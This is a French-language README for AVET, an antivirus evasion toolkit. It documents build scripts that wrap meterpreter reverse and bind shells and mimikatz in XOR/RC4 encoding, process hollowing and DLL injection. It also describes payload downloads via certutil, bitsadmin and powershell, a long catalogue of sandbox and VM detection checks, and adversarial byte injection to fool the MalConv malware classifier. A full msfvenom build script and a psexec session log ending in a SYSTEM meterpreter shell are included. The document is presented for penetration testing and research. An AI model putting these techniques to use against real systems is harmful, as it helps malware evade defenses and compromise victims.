
Outil d'évasion antivirus
AVET est un outil d'évasion antivirus, développé pour faciliter la vie des testeurs d'intrusion et pour expérimenter les techniques d'évasion antivirus, ainsi que d'autres méthodes utilisées par les logiciels malveillants. Pour un aperçu des nouvelles fonctionnalités de la v2.4, ainsi que des versions précédentes, consultez le fichier CHANGELOG.
Toutes les techniques ne contourneront pas tous les moteurs antivirus. Si une technique ou un script de build ne fonctionne pas, veuillez en tester une autre. N'hésitez pas à expérimenter ! Après tout, c'est une boîte à outils - mais vous devez manier le marteau vous-même.
Les instructions d'installation s'appliquent pour Kali 64 bits et tdm-gcc !
Vous pouvez utiliser le script de configuration :```bash ./setup.sh
Cela devrait automatiquement vous permettre de démarrer en installant/configurant wine et en installant tdm-gcc.
Vous devrez rapidement cliquer à travers l'interface graphique d'installation de tdm-gcc - les paramètres standard devraient convenir.
Le script vous demandera également si vous souhaitez installer les dépendances d'AVET, qui sont nécessaires pour utiliser certains des scripts de compilation. Les dépendances récupérées seront placées dans des dossiers séparés à côté du dossier avet.
Les dépendances récupéreront les dernières versions de :
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
Si pour une raison quelconque vous souhaitez installer wine et tdm-gcc manuellement :
- [Comment installer tdm-gcc avec wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)
## Docker
Si vous n'utilisez pas Kali ou ne souhaitez pas installer Metasploit sur votre système, vous pouvez utiliser le conteneur Docker à la place.
Le conteneur encapsule Metasploit et avet et les échantillons seront créés dans votre répertoire actuel.
Il est également possible d'utiliser un éditeur de texte graphique comme gedit.
Construction du conteneur :```bash
sudo docker build -t avet:v0.1 .
Utilisation :```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash
Pour une meilleure expérience, il est recommandé de créer un alias pour cela.```bash
# In your .bash_profile, .bashrc or .bash_aliases
alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'
avet.py est un petit utilitaire Python conçu pour vous aider à utiliser l'outil.
Il liste tous les scripts actuellement présents dans le dossier build. Après en avoir sélectionné un, vous pourrez parcourir le script ligne par ligne, avec la possibilité de modifier le contenu à la volée.
Cette fonctionnalité est particulièrement utile car vous pouvez définir de nouvelles variables LHOST et LPORT pour msfvenom à chaque fois que vous exécutez un script de build via fabric. Vous pouvez définir des valeurs par défaut pour LHOST et LPORT dans le fichier /build/global_connect_config.sh, qui sont utilisées si vous ne les redéfinissez pas.
Ces modifications sont temporaires, ce qui signifie que tout changement que vous apportez ne persistera pas dans le script de build sur le disque. La version modifiée est exécutée une fois, et votre exécutable est construit.
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the avet Assistant!
0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh
Which Script would you like to configure and build? Enter the corresponding number -> 43
DESCRIPTION :
Configure the Build Script
-> enable_debug_print
-> generate_key preset aabbccdd1122
Do you want to add sandbox evasions? [y/N] -> N
Executable will be created Shortly please wait.
*** ============================================= ***
.==,_
.===,_`\\
.====,_ ` \\ .====,__
--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /
|\ __ |\ \ / /|\ \ |_ \
\ \ |\ \ \ \ / / | \ _ |__|\ _|
\ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \
\ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||
*** ============================================= ***
Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt
Your executable should be in the output folder!
</details>
## AVET la manière normale
Bien sûr, il est possible d’exécuter toutes les commandes pas à pas depuis la ligne de commande. Cependant, dans le dossier « build », vous trouverez des scripts de construction préconfigurés pour les cas d’utilisation pertinents.
Les scripts de construction eux-mêmes sont écrits de manière à devoir être appelés depuis le répertoire avet :```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh
Vous pouvez définir des valeurs LHOST et LPORT par défaut pour les charges utiles metasploit dans le fichier /build/global_connect_config.sh, qui sont utilisées si vous ne les redéfinissez pas.
Générez un exécutable de « process hollowing » 32 bits en deux étapes (comme dans build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh) :
D'abord, générez la charge utile de « hollowing » avec AVET :
Ensuite, construisez l'exécutable « dropper » qui délivre la charge utile de la première étape via hollowing :
Vous obtenez ainsi une charge utile meterpreter à deux couches, vérifiée par environnement et chiffrée, injectée par hollowing dans un processus de votre choix. Bien que les paramètres du script de construction soient principalement à des fins de démonstration, vous disposez d'une grande flexibilité pour personnaliser votre exécutable généré en apportant de simples modifications au script de construction.
Vous pouvez changer les méthodes de récupération des données : au lieu de compiler statiquement la plupart des données dans l'exécutable, vous pouvez télécharger votre charge utile de hollowing via powershell, télécharger la clé de déchiffrement via sockets, utiliser un chiffrement différent ou d'autres vérifications environnementales, etc.
Ou essayez d'ajouter davantage de couches d'évasion en effectuant une troisième itération de construction. Ou changez de charge utile. Vous voulez utiliser Mimikatz à la place ? Convertissez-le en shellcode via https://github.com/hasherezade/pe_to_shellcode, et modifiez la charge utile dans le script de construction.
Bien sûr, vous pouvez également concevoir des constructions plus minimalistes, comme exécuter un shellcode non chiffré avec une seule vérification environnementale, ou peut-être que 50 itérations de shikata suffisent pour atteindre votre objectif ? Choisissez/modifiez les scripts de construction selon vos besoins.
Ci-dessous se trouve une liste de tous les scripts de construction actuellement fournis. Les noms devraient donner une indication sur la fonctionnalité de chaque script. Pour des informations détaillées, consultez les commentaires à l'intérieur des scripts. N'hésitez pas à modifier/écrire vos propres scripts de construction pour créer votre exécutable personnalisé !
Ces méthodes sont compatibles avec toutes les sources de données d'AVET et peuvent être utilisées telles quelles dans le script de construction.
Quelques exemples:```
set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd
set_payload_source download_powershell set_payload_execution_method exec_shellcode64
set_key_source download_socket set_decoder xor
set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll
Si des fonctionnalités sont ignorées/non utilisées, vous devez spécifier un comportement de type NOP à la place :```
set_command_source no_data
set_command_exec no_command
Les données sont extraites d'un fichier et compilées statiquement dans l'exécutable généré. Pour que cela fonctionne, les données doivent être fournies sous forme d'un tableau de style C au moment de la compilation, comme``` unsigned char buf[] = "\x00\x11\x22\x33";
#### static_from_here
Les données sont compilées statiquement dans l'exécutable généré, récupérées à partir de l'argument spécifié dans le script de build.
#### dynamic_from_file
Les données sont lues à partir d'un fichier au moment de l'exécution.
#### from_command_line_hex
Récupère les données à partir d'une chaîne hexadécimale au format "11aabb22.." (depuis la ligne de commande).
#### from_command_line_raw
Récupère les données à partir d'un argument de ligne de commande. La chaîne ASCII donnée est interprétée comme des données brutes en octets.
#### download_certutil
Télécharge les données depuis une URI spécifiée, en utilisant ```certutil.exe -urlcache -split -f```.
Dépose le fichier téléchargé sur le disque avant de lire les données.
#### download_curl
Télécharge les données en utilisant curl.
Dépose le fichier téléchargé sur le disque avant de lire les données.
#### download_internet_explorer
Télécharge les données depuis une URL spécifiée, en utilisant Internet Explorer.
Dépose le fichier téléchargé sur le disque avant de lire les données.
#### download_powershell
Télécharge les données depuis une URI spécifiée via powershell.
Dépose le fichier téléchargé sur le disque avant de lire les données.
#### download_socket
Télécharge les données depuis une URI spécifiée, en utilisant des sockets.
Les données sont lues directement en mémoire, aucun fichier n'est déposé sur le disque.
#### download_bitsadmin
Télécharge les données en utilisant l'utilitaire Windows BITSAdmin.
Dépose le fichier téléchargé sur le disque avant de lire les données.
### Méthodes d'exécution de la charge utile
Comment exécuter/délivrer la charge utile. Les méthodes d'injection/hollowing nécessitent des informations supplémentaires sur la cible d'injection, qui peuvent être fournies via ```set_payload_info_source <the_info>``` (voir les méthodes de récupération de données).
#### exec_shellcode
Exécute un shellcode 32 bits avec une liaison de fonction C.
#### exec_shellcode64
Exécute un shellcode 64 bits avec une liaison de fonction C et VirtualProtect.
#### exec_shellcode_ASCIIMSF
Exécute un shellcode encodé ASCIIMSF via ```call eax```.
#### hollowing32
Instancie un nouveau processus, découpe l'image d'origine et creuse la charge utile donnée dans le nouveau processus.
La charge utile est une image exécutable 32 bits. Fonctionne sur des cibles 32 bits.
#### hollowing64
Identique à hollowing32, mais avec des charges utiles PE 64 bits pour des processus cibles 64 bits.
#### inject_dll
Injecte une DLL dans un processus cible, en utilisant ```CreateRemoteThread```.
L'injection fonctionne pour les charges utiles 32 bits dans les processus 32 bits, et pour les charges utiles 64 bits dans les processus 64 bits, respectivement.
#### inject_shellcode
Injecte un shellcode dans un processus cible, en utilisant ```CreateRemoteThread```.
L'injection fonctionne pour les shellcodes 32 bits dans les processus 32 bits, et pour les shellcodes 64 bits dans les processus 64 bits, respectivement.
### Chiffrement et encodage
AVET fournit des encodeurs pour chaque schéma, qui peuvent être appliqués sur la charge utile avant compilation/livraison.
Lors de l'exécution, le décodeur spécifié désobfusque à nouveau la charge utile à l'exécution.
Voici un exemple RC4, où la clé de déchiffrement est récupérée depuis la ligne de commande au format hexadécimal au moment de l'exécution :```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4
Vous pouvez également ignorer la fonctionnalité de codage en ne codant pas davantage le shellcode, et en définissant :``` set_key_source no_data set_decoder none
#### xor
XOR déroulant, prenant en charge les clés multi-octets.
#### avet
Encodage personnalisé, réinterprétant le format ASCII.
#### rc4
Chiffrement/déchiffrement RC4, avec longueur de clé flexible.
### Contournement du débogueur et du bac à sable
Ce sont des vérifications environnementales effectuées avant l'encodage éventuel et l'exécution de la charge utile.
Si un environnement d'exécution indésirable est détecté (par exemple un bac à sable antivirus), l'exécution s'arrête.
Actuellement, vous pouvez mettre en file d'attente jusqu'à 10 vérifications arbitraires. L'utilisation multiple de la même technique est prise en charge.
La limite de la file d'attente *EVASION_ARRAY_SIZE* peut cependant être facilement modifiée dans *avet.c*.
#### is debugger present
Vérifie avec la fonction isDebuggerPresent() si un débogueur est présent.
Quitte si vrai.```
add_evasion is_debugger_present
Suspendre pendant un certain temps avant l'exécution. La durée (en secondes) peut être spécifiée dans le script de build, comme```
add_evasion evasion_by_sleep 3
#### pause par ping
Arrête l'exécution du programme pendant un nombre spécifié de secondes en invoquant une commande ping chronométrée contre localhost.
Le programme envoie un ping chaque seconde.```
add_evasion sleep_by_ping 4
Vérifier si le sandbox utilise le fast forwarding pour réduire le temps de vérification heuristique. Le temps local et le sleep sont utilisés.``` add_evasion check_fast_forwarding
#### get tickcount
Vérifie si le sandbox utilise le fast forwarding pour réduire le temps de vérification heuristique. Le temps de fonctionnement et le sommeil sont utilisés.```
add_evasion get_tickcount
Récupérer le nom d'utilisateur et le comparer avec le nom d'utilisateur donné. Quitter si cela ne correspond pas.``` add_evasion has_username 'IEUser'
#### Messagebox
Afficher une simple Messagebox avant l'exécution. Si l'arithmétique n'est pas résolue correctement, le programme se ferme.```
add_evasion interaction_msg_box
Attendez que l'entrée soit fournie via getchar.``` add_evasion interaction_getchar
#### system pause
Exécute system("pause"), ce qui fait attendre le cmd généré (et notre processus principal) jusqu'à une pression de touche.```
add_evasion interaction_system_pause
Vérifie l'existence d'un fichier. S'il n'est pas trouvé, arrête l'exécution. Le nom du fichier peut être spécifié dans le script de construction, comme``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'
#### bios info
Vérifie s'il est possible de récupérer la table firmware SMBIOS. Arrête l'exécution dans le cas contraire.```
add_evasion get_bios_info
Essayer de résoudre un nom d'hôte de votre choix. Si gethostbyname retourne une valeur non NULL, arrêter l'exécution. Le nom d'hôte à vérifier peut être spécifié dans le script de construction, comme``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'
#### get_cpu_cores
Vérifie le nombre de cœurs CPU sur la cible. Si le nombre est inférieur à la valeur spécifiée, arrête l'exécution.```
add_evasion get_cpu_cores 2
Vérifie les préfixes MAC spécifiques au fournisseur. Si identifiés, arrête l'exécution.``` add_evasion has_vm_mac
#### has_vm_regkey
Vérifie les clés de registre spécifiques au fournisseur. Si une est identifiée, arrête l'exécution.```
add_evasion has_vm_regkey
Pas vraiment une technique d'évasion, mais cache votre fenêtre de console ;)``` add_evasion hide_console
#### Date d'installation
Récupère la date d'installation de Windows et la compare à celle spécifiée. Si les dates ne correspondent pas, arrête l'exécution. La date doit être spécifiée au format dd/mm/yyyy.```
add_evasion get_install_date '24/11/2007'
Comptez le nombre de processus en cours d'exécution. Si le nombre de processus est inférieur au seuil donné, arrêtez l'exécution.``` add_evasion get_num_processes 50
#### Standard Browser
Lire la clé de registre pour obtenir le navigateur par défaut. Si le navigateur ne correspond pas à la valeur donnée, arrêter l'exécution. Les valeurs possibles sont MSEdgeHTM, Firefox ou ChromeHTML.```
add_evasion get_standard_browser 'Firefox'
Interroge le domaine DNS dans lequel se trouve la cible. Si la cible ne se trouve pas dans le domaine attendu tel que spécifié, le programme se termine.``` add_evasion get_computer_domain 'domain.com'
#### Calcul
Fibonacci
Calcule les itérations spécifiées de la série de Fibonacci.
Produira probablement des résultats erronés pour n plus grand en raison des limites des entiers.```
# 10 iterations
add_evasion computation_fibonacci 10
Fibonacci chronométré
Arrête les calculs de Fibonacci après environ le nombre de secondes spécifié.```
add_evasion computation_timed_fibonacci 20
#### Dossiers et plus
Vérifier si l'artefact existe, arrêter l'exécution dans le cas contraire. Les chemins doivent être au format Unix.
Fond d'écran :```
add_evasion has_background_wp
Vérifier le dossier :``` add_evasion has_folder 'C:/Users/user/Downloads/'
Vérifier le bureau public :```
add_evasion has_public_desktop
Vérifier la Corbeille``` add_evasion has_recycle_bin
Vérifier le dossier de fichiers récents```
add_evasion has_recent_files
Vérifier le lecteur réseau``` add_evasion has_network_drive
### Exécution de commande supplémentaire
Vous permet d'exécuter une charge utile cmd/powershell supplémentaire directement après les éventuelles fonctions de contournement de sandbox. La source de la charge utile est compatible avec les méthodes de récupération de données d'AVET.
L'exemple suivant télécharge une charge utile powershell via BITSAdmin :```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell
Prend des données brutes en entrée depuis un fichier, les convertit au format tableau C et écrit la sortie dans un autre fichier. Cela aide à fournir le format correct pour la méthode de récupération de données static_from_file.
Utilitaire de génération de clé. Génère soit une clé aléatoire (non cryptographique) soit prend une clé prédéfinie en entrée, et écrit les données brutes de la clé dans un fichier spécifié. Cela aide à fournir le matériel clé pour la fonctionnalité de chiffrement d'AVET.
Utilitaire d'AVET 1.3 qui effectue le codage AVET.
AVET est compatible avec le module psexec de metasploit. Pour cela, l'exécutable généré doit être compilé en tant que service Windows, ce qui est implémenté en utilisant avetsvc.c. Considérons le script de construction d'exemple correspondant
build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash
cat banner.txt
. build/global_win32.sh
. build/global_connect_config.sh
LPORT=$GLOBAL_LPORT
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt
. build/feature_construction.sh
add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'
generate_key preset aabbcc12de input/key_raw.txt
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf
set_command_source no_data set_command_exec no_command
set_payload_source static_from_file input/scenc_c.txt
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt
set_payload_info_source no_data
set_decoder xor
set_payload_execution_method exec_shellcode
enable_debug_print to_file C:/avetdbg.txt
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe
cleanup_techniques
Et du côté de Metasploit :```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run
[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200
msf exploit(psexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)
msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows
Les exemples adversariaux sont des entrées spécialement conçues dans le but d’amener les modèles d’apprentissage automatique à une erreur de classification.
Pour utiliser cette méthode, veuillez créer un environnement virtuel et installer les dépendances nécessaires à partir de requirements.txt.
Cinq manipulations préservant la fonctionnalité pour les fichiers PE sont disponibles :

Pour appliquer la manipulation pratique au malware avec des octets aléatoires injectés, utilisez la commande gen_adversarial_exe suivie du nom de la manipulation pratique et du chemin vers le fichier comme paramètres.
Les manipulations disponibles sont full_dos, extend, shift, padding, section_injection.
Par exemple :```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
### Optimisation génétique
Au lieu d'injecter du contenu aléatoire, il est possible d'optimiser le contenu pour obtenir une probabilité d'évasion plus élevée.
L'optimiseur extrait des sections bénignes de goodware et utilise un algorithme génétique pour optimiser le contenu injecté.
Le contenu est optimisé contre MalConv, un détecteur statique basé sur l'apprentissage automatique utilisant un réseau de neurones convolutif.
L'implémentation de MalConv utilisée provient de la bibliothèque [SecML Malware](https://github.com/pralab/secml_malware).
Des goodware sont nécessaires et doivent être placés dans le dossier `input/goodware_samples`.
Le [DikeDataset](https://github.com/iosifache/DikeDataset) par exemple est une bonne source pour obtenir des fichiers exécutables bénins. Plus il y en a, mieux c'est, mais 100 suffisent pour des tests.
Pour utiliser l'optimiseur, utilisez la commande `$genetic_optimizer` :```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
Options possibles :``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection
Plus d'informations sur les exemples adversariaux, l'optimisation génétique et MalConv peuvent être lues ici :
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)
## Plus
---
Pour les bases du contournement antivirus, AVET et plus d'informations, regardez ici (principalement pour la version 1.3) :
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)